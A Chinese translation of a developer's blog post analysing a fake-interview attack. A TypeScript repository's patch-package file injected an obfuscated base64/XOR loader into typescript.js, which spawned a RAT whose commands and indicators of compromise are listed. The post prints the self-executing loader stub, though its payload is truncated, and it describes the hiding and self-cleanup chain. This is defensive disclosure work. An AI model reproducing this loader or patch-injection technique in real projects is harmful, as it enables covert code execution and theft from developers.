跳到正文
北京时间
原文
Hacker News 热门(buzzing.cc 中文翻译)· signa11·· 2026-06-27精选AI 评分81

一次失败的(民族国家?)攻击的剖析

AI 导读

作者收到伪装成新加坡VC Lua Ventures的虚假面试邮件,要求完成一个TypeScript仓库的“测试”。作者将仓库交给Claude扫描,在`typescript+5.9.2.patch`中发现base64混淆载荷,该载荷在`patch-package`安装时触发,向`~/.cache-`等目录写入`payload.js`和`mutex.js`,构成后门(命名PinpinRAT)。攻击者使用虚构身份和空洞LinkedIn资料,目标是作者在crates.io上的Rust包。相关信息已报告加拿大CCCS等机构。

推荐理由

这是一次近乎完美的开发者定向攻击复盘,虚假面试加上精心构造的补丁注入 RAT,手法隐蔽到连作者都差点中招,所有靠开源吃饭的人都该认真看看 Ioc 并重新审视自己的代码审查盲区。

正文 · AI 翻译

🧠 这篇文章完全由人类撰写:除 IoC 信息外,所有文字均为人工编写。由于时间紧迫,使用了 Claude 来加速 RAT 分析并构建 IoC 检测脚本。

由于我居住在加拿大,这些信息已报告给相应的加拿大机构(CCCS 等)。这个携带载荷的图片在 VirusTotal 上不会触发任何杀毒引擎。

攻击者的身份是虚构的,但存在同名的无关个人,他们可能被误认,因此已从本文中省略。

在 Reddit 上,Rust 社区中还有其他人提到他们也成为了攻击目标。

本周,我近距离遭遇了一场虚假面试骗局,其目的是在我的机器上植入后门。从邮件的上下文来看,我推测目标是我在 crates.io 上的软件包。

注意:我将其称为“PinpinRAT”是因为一些内部字符串,但它可能在其他地方有别的名字。我在网上找不到任何其他关于它的引用。

一周半前,我收到了一封来自“D█████ S████”的邮件,声称来自 Lua Ventures,这是一家(当时我并不知道)已倒闭的新加坡 DeFi 领域风投公司。需要明确的是:这是一个虚构的人设,选择这个名字很可能是为了容易与若干真实同名人物混淆。

它看起来像一封真实的邮件,其中还包含一个链接,指向一个略显乏味、但看起来颇为正规的 LinkedIn 个人资料。

攻击者甚至点名提到了他们投资的两家公司,这两家恰好都在专门寻找顾问类工作:Lyrasing 和 Roadpay。搜索这两家公司中的任何一家其实都不算什么警示信号——它们都有一些非常基础的网络存在,但没有任何迹象表明它们是假的,而非仅仅是早期阶段。(roadpay.cc 的 archive.org 快照)。

我们就会议时间来回沟通了几次,最终敲定了一个准备交谈的时间。通话本身也没有什么异常。电话那头是一个带着德国口音、有点难以听懂的男人。他说他是在旅行途中接的这个电话,这有点奇怪,但同样,也不一定就是警示信号。

通话之后就是诱饵。一封后续邮件,提供了一个“测试”。

此时我有点恼火,但并未起疑。我克隆了这个仓库,但第一个真正的危险信号正是在这里才出现的。

我运气好的地方在于:他们发给我的是一个 TypeScript 仓库。这让我觉得莫名其妙。那些说明看起来更像是一场 TypeScript 求职面试,而不是任何形式的架构分析。我决定把这个仓库打包压缩,丢进 Claude 里快速扫描一下——一半是出于谨慎,一半是出于偷懒。

片刻之后,它识别出了一些异常之处:

值得注意的是,根目录的 package.json 中并没有 postinstall/preinstall 钩子——这很有意思,因为他们使用了 patch-package,而它通常会挂接到 postinstall 上。让我检查每个 package.json 中的生命周期脚本,然后审计补丁文件(这才是真正的风险面——补丁可以向 node_modules 中注入任意代码)。

这引起了我的兴趣。我自己扫描了这些目录,注意到有相当多不合理的 patches/ 目录。我检查的前几个看起来无害,但你可能已经猜到了,它们只是想制造噪音,好让真正的载荷不被发现。

packages/electron-benchmarks/patches/sumchecker+3.0.1.patch
packages/electron-benchmarks/patches/@electron+get+2.0.3.patch
packages/electron-benchmarks/patches/extract-zip+2.0.1.patch

当我还在手动慢慢检查时,Claude 已经识别出了 PinpinRAT 的最初迹象:

我找到了。这是一个恶意载荷。嵌入在 typescript+5.9.2.patch 文件中——在被呈现为对 TypeScript 的常规“模块说明符”补丁之内——有一个 base64 blob 自执行混淆桩被注入到了 _tsc.js 和 typescript.js 两者的最顶部:

;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/
void "ticket-harbor-tsc-shim-anchor";

它会解码一个 base64 字符串,用密钥 73 对每个字节进行 XOR 解密,然后将结果传入 new Function(…),同时传入 require、process、Buffer 等。这是一个隐藏的代码执行载荷,每次 tsc 或任何导入 typescript.js 的东西运行时都会触发——也就是说,在第一次 npm run typecheck / build / dev 时就会触发。

……而这就是我决定不再在自己机器上招惹这头熊的时刻。我用密码把它压缩打包,以防自己不小心引爆它,然后继续在沙箱中进行分析。

陷阱

该仓库的主题是一个名为“Ticket Harbor”的渡轮购票应用。捆绑包中包含的 task.txt 是一组看似合理的无聊任务,但结尾却是:

在提交之前,运行仓库的类型检查、测试套件以及相关的桌面端/服务端构建命令。

那条指令就是让你中招的陷阱。

这条链条是这样运作的:

  1. 四个独立的 postinstall 钩子会运行 patch-package。但其中一个还会对补丁文件运行 git update-index --skip-worktree,从而将它们对 git status 隐藏起来。

  2. typescript+5.9.2.patch 会在 typescript.js 和 _tsc.js 的顶部注入一个自执行存根。这是一个经过轻度混淆的二进制块,被送入 new Function(...)(推测是为了避开 eval,以免被恶意软件检测发现)。

  3. 该加载器会读取追加到一个名为 operators/3.png 的文件末尾的隐藏数据块,运行一个嵌入的小型 WASM 存根(位于一个自定义的 wAsm 数据块中),然后生成一个分离的、静默的 Node 进程,携带一个 1.68 MB 的混淆第二阶段载荷。

  4. 它会在三个层面进行自我清理:git skip-worktree 手法、投放器会重写 patch 以在首次运行后删除自己注入的行,以及第二阶段临时目录在执行时自删除。

真正的载荷是一个 RAT(远程访问木马)。我原本担心这是个凭据窃取程序,但实际情况要糟糕得多。PinpinRAT 嵌套在三层混淆之中,拆解起来非常痛苦:obfuscator.io(号称有 LLM 保护,呵呵),外加两层 base64。

它释放了什么

出于 1)快速分享这些信息,以及 2)避免在我自己的机器上意外引爆恶意软件的目的,我让 Claude 在它的沙箱里拆解了真正的木马,并让它向我描述。

明确地说:Claude 在大约 5 分钟的工作内就逆向工程了多层混淆,这比我本可以做到的要快得多。

释放出来的东西是一个完整的远程访问木马,看起来是由懂行的人拼装而成的。它在本地设置了一个 RSA 密钥,并使用 AES-256-CBC 作为会话密钥。

启动时它会调用一个签到例程,收集并外泄主机指纹:

  • 主 IP 地址(枚举所有非内部接口),以及所有 IP
  • 用户名(os.userInfo().username)
  • 主机名
  • 操作系统类型 + 发行版 + 平台 + 架构
  • 进程 PID 和完整 process.argv
  • Node 版本

它生成一个 RSA-2048 密钥对和一个随机 AES-256 会话密钥(aes_psk),随后所有流量均使用 AES-256-CBC 加密,并附带 HMAC-SHA256 完整性标签。

它支持以下命令:

  • env — 将 JSON.stringify(process.env) 转储并回传。
  • upload — 读取任意文件路径并将其窃取外传。
  • download — 将攻击者提供的字节写入任意可写路径。
  • spawn — 运行任意进程,可选启用 shell 扩展。
  • ls / cd / pwd / cp / mv — 通用文件系统原语。
  • dns — 使主机通过指定的解析器解析任意名称(用于 DNS 隧道?)。
  • dismantle — 自我删除。

入侵指标

如果你最终运行了其中任何一个,你应该立即将系统从网络断开,并从另一台机器上轮换你的凭据。修复应该很直接,但请考虑你的凭据(包括 cookie 和受密码保护的机密)已被泄露。

以下是在 PinpinRAT 恶意软件中发现的一些入侵指标:

  • C2:89.124.107.161:80
  • 计划任务(Windows):PinpinWrappedJs
  • 进程伪装(macOS):com.apple.WebKit.Networking
  • 环境变量:NODT_PAYLOAD_PATH、NODT_PAYLOAD_ARGS
  • PNG 块防护:WASMPACK(wAsm)
  • PINPIN_NO_AUTOSTART=1:阻止持久化
  • 带有 mutex.js 的 cronjob(仅当该 RAT 拥有权限时,macOS 上可能不存在)
  • typescript.js 中的锚点字符串:12ff4b51、ticket-harbor-tsc-shim-anchor
  • 带有 payload 的 typescript+5.9.2.patch
  • Artifact dirs: ~/Library/Caches/runtime-cache/.cache-<randomhex>/ (macOS), /tmp/.cache-<randomhex>/ (Linux), %TEMP%\.cache-<randomhex>\ (Windows)
    • .. 包含 payload.js 和 mutex.js

我本应在这里看到标志

有几处我本该更早看到警示信号。这类骗局的目标就是让这些信号足够隐蔽,不至于触发你的防备心理,但你需要足够警觉,才能在足够多的黄旗累积成红旗时察觉出来。

仔细看的话,这些消息带有一些大语言模型的痕迹。这大概是一个信号,说明你对任何事情都应该抱着极度怀疑的态度。

这个 LinkedIn 个人资料乍一看很真实,但里面全是些胡言乱语(“BSc(Hons), MA (Dist), PGDipFM, CEng”?),至少应该让人产生一种“字母汤”的感觉。没有任何真实活动。

他们网站上的社交媒体链接确实有真实的历史记录,但名字在 2025 年 11 月被改过。帖子内容全都相当空洞,是对一些公司的含糊赞美,而这些公司实际上并没有得到任何具体描述。

那些有网站的公司,除了花哨的网站之外,没有任何真正的存在感。

他们从未发过正式的邀请——只是一个时间和一个 Google Meet 链接。哪个 VC 不用日历?他们的摄像头全程关闭,而且他们还在“旅行”。

而整体做法是,一家总部位于新加坡、按 CEST 时区运作的 VC 基金,去联系一位身在加拿大的开发者,域名瞄准的是美国客户,却以 .cc 结尾。要核查一个如此遥远的组织的资质,难度要大得多。

事后看来,没有什么是显而易见的,但如果你把整件事放在一起看,缺失的拼图就在那里。

那么这是谁干的?

无法确定,但这次攻击是有针对性的,有一个相当令人信服的掩护故事,配有虚假人设、多个带有窃取历史的假网站,以及一条耐心的攻击时间线。这个git陷阱相当精密。这种“虚假面试骗局”在 2026 年已成为多个攻击者的惯用手法。

究竟是谁在背后操作,现在要由各机构来负责。什么是值得注意的是,这次攻击的目标正是像你我这样的开发者,而我很幸运地在触发陷阱之前就看到了一个危险信号。

说实话,让我感到恐惧和清醒的是,如果这是一个带有陷阱 build.rs 脚本的 Rust 仓库,我可能也会上当。

来源:Hacker News 热门(buzzing.cc 中文翻译) · grack.com